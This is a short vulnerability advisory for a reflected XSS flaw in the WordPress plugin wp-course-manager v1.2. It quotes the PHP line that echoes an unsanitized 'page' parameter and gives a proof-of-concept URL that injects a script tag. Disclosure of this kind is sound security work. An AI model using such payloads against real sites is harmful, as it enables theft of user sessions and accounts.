Advisory #: 404
Title: Reflected XSS in wordpress plugin wp-course-manager v1.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-course-manager
Downloads: 4546
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-course-manager
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-course-manager/wpcm_edit_courses.php: 88: <form id="wpcm_update_course" name="update_course" action="admin.php?page=<?PHP echo $_GET['page']."&amp;action=update_course&amp;id=$course->id"; ?>" method="post"> 184:<form id="wpcm_update_course" name="update_course" action="admin.php?page=<?PHP echo $_GET['page']."&amp;action=update_course&amp;id=$course->id"; ?>" method="post"> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-course-manager/wpcm_edit_courses.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-course-manager/wpcm_edit_courses.php?page="><script>alert(1);</script><"